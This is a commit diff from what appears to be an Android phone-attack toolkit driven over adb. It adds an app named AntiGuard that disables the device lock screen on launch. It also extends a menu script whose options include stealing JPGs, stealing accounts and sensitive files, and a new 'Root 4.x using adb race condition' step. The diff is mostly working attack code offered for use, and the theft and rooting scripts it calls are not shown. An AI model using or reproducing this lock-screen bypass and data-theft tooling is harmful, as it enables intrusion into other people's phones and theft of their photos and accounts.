- <action android:name="android.intent.action.MEDIA_SCANNER_STARTED" />
- <action android:name="android.intent.action.MEDIA_SHARED" />
- <action android:name="android.intent.action.MEDIA_UNMOUNTABLE" />
- <action android:name="android.intent.action.MEDIA_UNMOUNTED" />
- <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
- <action android:name="android.intent.action.PACKAGE_ADDED" />
- <action android:name="android.intent.action.PACKAGE_CHANGED" />
- <action android:name="android.intent.action.PACKAGE_DATA_CLEARED" />
- <action android:name="android.intent.action.PACKAGE_INSTALL" />
- <action android:name="android.intent.action.PACKAGE_REMOVED" />
- <action android:name="android.intent.action.PACKAGE_REPLACED" />
- <action android:name="android.intent.action.PACKAGE_RESTARTED" />
- <action android:name="android.intent.action.PHONE_STATE" />
- <action android:name="android.intent.action.PROVIDER_CHANGED" />
- <action android:name="android.intent.action.REBOOT" />
- <action android:name="android.intent.action.SCREEN_OFF" />
- <action android:name="android.intent.action.SCREEN_ON" />
- <action android:name="android.intent.action.TIMEZONE_CHANGED" />
- <action android:name="android.intent.action.TIME_SET" />
- <action android:name="android.intent.action.TIME_TICK" />
- <action android:name="android.intent.action.UID_REMOVED" />
- <action android:name="android.intent.action.UMS_CONNECTED" />
- <action android:name="android.intent.action.UMS_DISCONNECTED" />
- <action android:name="android.intent.action.USER_PRESENT" />
- <action android:name="android.intent.action.WALLPAPER_CHANGED" />
- <action android:name="android.media.AUDIO_BECOMING_NOISY" />
- <action android:name="android.media.RINGER_MODE_CHANGED" />
- <action android:name="android.media.SCO_AUDIO_STATE_CHANGED" />
- <action android:name="android.media.VIBRATE_SETTING_CHANGED" />
- <action android:name="android.media.action.CLOSE_AUDIO_EFFECT_CONTROL_SESSION" />
- <action android:name="android.media.action.OPEN_AUDIO_EFFECT_CONTROL_SESSION" />
- <action android:name="android.net.conn.BACKGROUND_DATA_SETTING_CHANGED" />
- <action android:name="android.net.wifi.NETWORK_IDS_CHANGED" />
- <action android:name="android.net.wifi.RSSI_CHANGED" />
- <action android:name="android.net.wifi.SCAN_RESULTS" />
- <action android:name="android.net.wifi.STATE_CHANGE" />
- <action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
- <action android:name="android.net.wifi.supplicant.CONNECTION_CHANGE" />
- <action android:name="android.net.wifi.supplicant.STATE_CHANGE" />
- <action android:name="android.provider.Telephony.SIM_FULL" />
- <action android:name="android.provider.Telephony.SMS_RECEIVED" />
- <action android:name="android.provider.Telephony.SMS_REJECTED" />
- <action android:name="android.provider.Telephony.WAP_PUSH_RECEIVED" />
- <action android:name="android.speech.tts.TTS_QUEUE_PROCESSING_COMPLETED" />
- <action android:name="android.speech.tts.engine.TTS_DATA_INSTALLED" />
- </intent-filter>
</activity>
</application>
- <uses-sdk android:minSdkVersion="1" />
- <uses-permission android:name="android.permission.ACCESS_CHECKIN_PROPERTIES"/>
- <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
- <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
- <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
- <uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION"/>
- <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
- <uses-permission android:name="android.permission.ACCESS_SURFACE_FLINGER"/>
- <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
- <uses-permission android:name="android.permission.ACCOUNT_MANAGER"/>
- <uses-permission android:name="android.permission.ADD_VOICEMAIL"/>
- <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"/>
- <uses-permission android:name="android.permission.BATTERY_STATS"/>
- <uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
- <uses-permission android:name="android.permission.BIND_APPWIDGET"/>
- <uses-permission android:name="android.permission.BIND_DEVICE_ADMIN"/>
- <uses-permission android:name="android.permission.BIND_INPUT_METHOD"/>
- <uses-permission android:name="android.permission.BIND_REMOTEVIEWS"/>
- <uses-permission android:name="android.permission.BIND_TEXT_SERVICE"/>
- <uses-permission android:name="android.permission.BIND_VPN_SERVICE"/>
- <uses-permission android:name="android.permission.BIND_WALLPAPER"/>
- <uses-permission android:name="android.permission.BLUETOOTH"/>
- <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
- <uses-permission android:name="android.permission.BRICK"/>
- <uses-permission android:name="android.permission.BROADCAST_PACKAGE_REMOVED"/>
- <uses-permission android:name="android.permission.BROADCAST_SMS"/>
- <uses-permission android:name="android.permission.BROADCAST_STICKY"/>
- <uses-permission android:name="android.permission.BROADCAST_WAP_PUSH"/>
- <uses-permission android:name="android.permission.CALL_PHONE"/>
- <uses-permission android:name="android.permission.CALL_PRIVILEGED"/>
- <uses-permission android:name="android.permission.CAMERA"/>
- <uses-permission android:name="android.permission.CHANGE_COMPONENT_ENABLED_STATE"/>
- <uses-permission android:name="android.permission.CHANGE_CONFIGURATION"/>
- <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
- <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"/>
- <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
- <uses-permission android:name="android.permission.CLEAR_APP_CACHE"/>
- <uses-permission android:name="android.permission.CLEAR_APP_USER_DATA"/>
- <uses-permission android:name="android.permission.CONTROL_LOCATION_UPDATES"/>
- <uses-permission android:name="android.permission.DELETE_CACHE_FILES"/>
- <uses-permission android:name="android.permission.DELETE_PACKAGES"/>
- <uses-permission android:name="android.permission.DEVICE_POWER"/>
- <uses-permission android:name="android.permission.DIAGNOSTIC"/>
- <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
- <uses-permission android:name="android.permission.DUMP"/>
- <uses-permission android:name="android.permission.FACTORY_TEST"/>
- <uses-permission android:name="android.permission.FLASHLIGHT"/>
- <uses-permission android:name="android.permission.FORCE_BACK"/>
- <uses-permission android:name="android.permission.GET_ACCOUNTS"/>
- <uses-permission android:name="android.permission.GET_PACKAGE_SIZE"/>
- <uses-permission android:name="android.permission.GET_TASKS"/>
- <uses-permission android:name="android.permission.GLOBAL_SEARCH"/>
- <uses-permission android:name="android.permission.HARDWARE_TEST"/>
- <uses-permission android:name="android.permission.INJECT_EVENTS"/>
- <uses-permission android:name="android.permission.INSTALL_LOCATION_PROVIDER"/>
- <uses-permission android:name="android.permission.INSTALL_PACKAGES"/>
- <uses-permission android:name="android.permission.INTERNAL_SYSTEM_WINDOW"/>
- <uses-permission android:name="android.permission.INTERNET"/>
- <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
- <uses-permission android:name="android.permission.MANAGE_ACCOUNTS"/>
- <uses-permission android:name="android.permission.MANAGE_APP_TOKENS"/>
- <uses-permission android:name="android.permission.MASTER_CLEAR"/>
- <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
- <uses-permission android:name="android.permission.MODIFY_PHONE_STATE"/>
- <uses-permission android:name="android.permission.MOUNT_FORMAT_FILESYSTEMS"/>
- <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
- <uses-permission android:name="android.permission.NFC"/>
- <uses-permission android:name="android.permission.PERSISTENT_ACTIVITY"/>
- <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
- <uses-permission android:name="android.permission.READ_CALENDAR"/>
- <uses-permission android:name="android.permission.READ_CALL_LOG"/>
- <uses-permission android:name="android.permission.READ_CONTACTS"/>
- <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
- <uses-permission android:name="android.permission.READ_FRAME_BUFFER"/>
- <uses-permission android:name="android.permission.READ_HISTORY_BOOKMARKS"/>
- <uses-permission android:name="android.permission.READ_INPUT_STATE"/>
- <uses-permission android:name="android.permission.READ_LOGS"/>
- <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
- <uses-permission android:name="android.permission.READ_PROFILE"/>
- <uses-permission android:name="android.permission.READ_SMS"/>
- <uses-permission android:name="android.permission.READ_SOCIAL_STREAM"/>
- <uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
- <uses-permission android:name="android.permission.READ_SYNC_STATS"/>
- <uses-permission android:name="android.permission.READ_USER_DICTIONARY"/>
- <uses-permission android:name="android.permission.REBOOT"/>
- <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
- <uses-permission android:name="android.permission.RECEIVE_MMS"/>
- <uses-permission android:name="android.permission.RECEIVE_SMS"/>
- <uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>
- <uses-permission android:name="android.permission.RECORD_AUDIO"/>
- <uses-permission android:name="android.permission.REORDER_TASKS"/>
- <uses-permission android:name="android.permission.RESTART_PACKAGES"/>
- <uses-permission android:name="android.permission.SEND_SMS"/>
- <uses-permission android:name="android.permission.SET_ACTIVITY_WATCHER"/>
- <uses-permission android:name="android.permission.SET_ALARM"/>
- <uses-permission android:name="android.permission.SET_ALWAYS_FINISH"/>
- <uses-permission android:name="android.permission.SET_ANIMATION_SCALE"/>
- <uses-permission android:name="android.permission.SET_DEBUG_APP"/>
- <uses-permission android:name="android.permission.SET_ORIENTATION"/>
- <uses-permission android:name="android.permission.SET_POINTER_SPEED"/>
- <uses-permission android:name="android.permission.SET_PREFERRED_APPLICATIONS"/>
- <uses-permission android:name="android.permission.SET_PROCESS_LIMIT"/>
- <uses-permission android:name="android.permission.SET_TIME"/>
- <uses-permission android:name="android.permission.SET_TIME_ZONE"/>
- <uses-permission android:name="android.permission.SET_WALLPAPER"/>
- <uses-permission android:name="android.permission.SET_WALLPAPER_HINTS"/>
- <uses-permission android:name="android.permission.SIGNAL_PERSISTENT_PROCESSES"/>
- <uses-permission android:name="android.permission.STATUS_BAR"/>
- <uses-permission android:name="android.permission.SUBSCRIBED_FEEDS_READ"/>
- <uses-permission android:name="android.permission.SUBSCRIBED_FEEDS_WRITE"/>
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
- <uses-permission android:name="android.permission.UPDATE_DEVICE_STATS"/>
- <uses-permission android:name="android.permission.USE_CREDENTIALS"/>
- <uses-permission android:name="android.permission.USE_SIP"/>
- <uses-permission android:name="android.permission.VIBRATE"/>
- <uses-permission android:name="android.permission.WAKE_LOCK"/>
- <uses-permission android:name="android.permission.WRITE_APN_SETTINGS"/>
- <uses-permission android:name="android.permission.WRITE_CALENDAR"/>
- <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
- <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
- <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
- <uses-permission android:name="android.permission.WRITE_GSERVICES"/>
- <uses-permission android:name="android.permission.WRITE_HISTORY_BOOKMARKS"/>
- <uses-permission android:name="android.permission.WRITE_PROFILE"/>
- <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
- <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
- <uses-permission android:name="android.permission.WRITE_SMS"/>
- <uses-permission android:name="android.permission.WRITE_SOCIAL_STREAM"/>
+ <uses-sdk android:minSdkVersion="7" />
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
</manifest>
View
BIN AntiGuard/AntiGuard.apk
Binary file not shown.
View
27 AntiGuard/res/layout/main.xml
@@ -4,10 +4,25 @@
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
-<TextView
- android:layout_width="fill_parent"
- android:layout_height="wrap_content"
- android:text="Hello World, unlock"
- />
-</LinearLayout>
+<Button android:text="Back"
+ android:id="@+id/backButton"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"></Button>
+
+<Button android:text="Launcher"
+ android:id="@+id/launcherButton"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"></Button>
+
+<Button android:text="Development Settings"
+ android:id="@+id/developmentButton"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"></Button>
+
+<Button android:text="Uninstall AntiGuard"
+ android:id="@+id/uninstallButton"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"></Button>
+
+</LinearLayout>
View
2 AntiGuard/res/values/strings.xml
@@ -1,4 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
- <string name="app_name">unlock</string>
+ <string name="app_name">AntiGuard</string>
</resources>
View
84 AntiGuard/src/io/kos/antiguard/unlock.java
@@ -2,14 +2,88 @@
import android.app.Activity;
import android.os.Bundle;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.widget.Button;
+import android.app.KeyguardManager;
+import android.app.KeyguardManager.KeyguardLock;
+import android.content.Intent;
+import android.content.Context;
+import android.content.ComponentName;
+import android.net.Uri;
-public class unlock extends Activity
-{
- /** Called when the activity is first created. */
+
+public class unlock extends Activity {
@Override
- public void onCreate(Bundle savedInstanceState)
- {
+ public void onCreate(Bundle savedInstanceState) {
+
+ KeyguardManager keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
+ KeyguardLock mkeyguardLock = keyguardManager.newKeyguardLock("unlock");
+ mkeyguardLock.disableKeyguard();
+
+
+
super.onCreate(savedInstanceState);
+
setContentView(R.layout.main);
+
+ // Button to go to the page the user was last looking at
+ Button backButton = (Button) findViewById(R.id.backButton);
+ backButton.setOnClickListener(new OnClickListener() {
+ public void onClick(View v) {
+ back();
+ }
+ });
+
+ // Button to go directly to the default launcher
+ Button launcherButton = (Button) findViewById(R.id.launcherButton);
+ launcherButton.setOnClickListener(new OnClickListener() {
+ public void onClick(View v) {
+ viewLauncher();
+ }
+ });
+
+ // Button to go directly to the Development options
+ Button developmentButton = (Button) findViewById(R.id.developmentButton);
+ developmentButton.setOnClickListener(new OnClickListener() {
+ public void onClick(View v) {
+ viewDevelopmentSettings();
+ }
+ });
+
+ // Button to UNINSTALL app
+ Button uninstallButton = (Button) findViewById(R.id.uninstallButton);
+ uninstallButton.setOnClickListener(new OnClickListener() {
+ public void onClick(View v) {
+ promptUninstall();
+ }
+ });
+
+
+ }
+
+ public void viewLauncher(){
+ Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.addCategory(Intent.CATEGORY_HOME);
+ startActivity(intent);
}
+
+ public void back(){
+ finish();
+ }
+
+ public void viewDevelopmentSettings(){
+ Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setComponent(ComponentName.unflattenFromString("com.android.settings/.DevelopmentSettings"));
+ intent.addCategory("android.intent.category.LAUNCHER");
+ startActivity(intent);
+ }
+
+ public void promptUninstall(){
+ Uri packageUri = Uri.parse("package:io.kos.antiguard");
+ Intent uninstallIntent = new Intent(Intent.ACTION_DELETE, packageUri);
+ startActivity(uninstallIntent);
+ }
+
+
}
View
1 functions.sh
@@ -11,6 +11,7 @@ none="\033[0m"
bold="\033[1m"
red="\033[0;31m"
+adb start-server
# Check to see if local /tmp/ exists (machine)
# Otherwise, default to /data/local/tmp/ (phone)
View
3 run.sh
@@ -18,6 +18,7 @@ echo "Let's break some stuff."
RUNONCE=0
prompt(){
+ deviceConnected=isConnected
if [ "$(isConnected)" = 'NO' ]; then
echo "Waiting for phone to connect..."
# probably a better way to do this... but I don't care!!
@@ -53,6 +54,7 @@ prompt(){
4) Steal JPGs > 200k
5) Steal Accounts
6) Install/Uninstall AntiGuard
+ 7) Root 4.x using adb race condition
x) Exit
"
echo -n "Choose wisely: "
@@ -66,6 +68,7 @@ prompt(){
4) echo "I GAVE THAT BITCH A JPG" && . ./getJpgs.sh ;;
5) echo "The good stuff.." && . ./getSensitive.sh ;;
6) echo "Unlocking Screen" && . ./installAnti.sh ;;
+ 7) echo "Trying to root..." && . ./root4.x.sh ;;
'x'|'X') echo "Goodbye." && exit ;;
*) echo "${bold}That's not an answer!${none}\n" && prompt ;;
esac

0 comments on commit 21d034e

Please sign in to comment.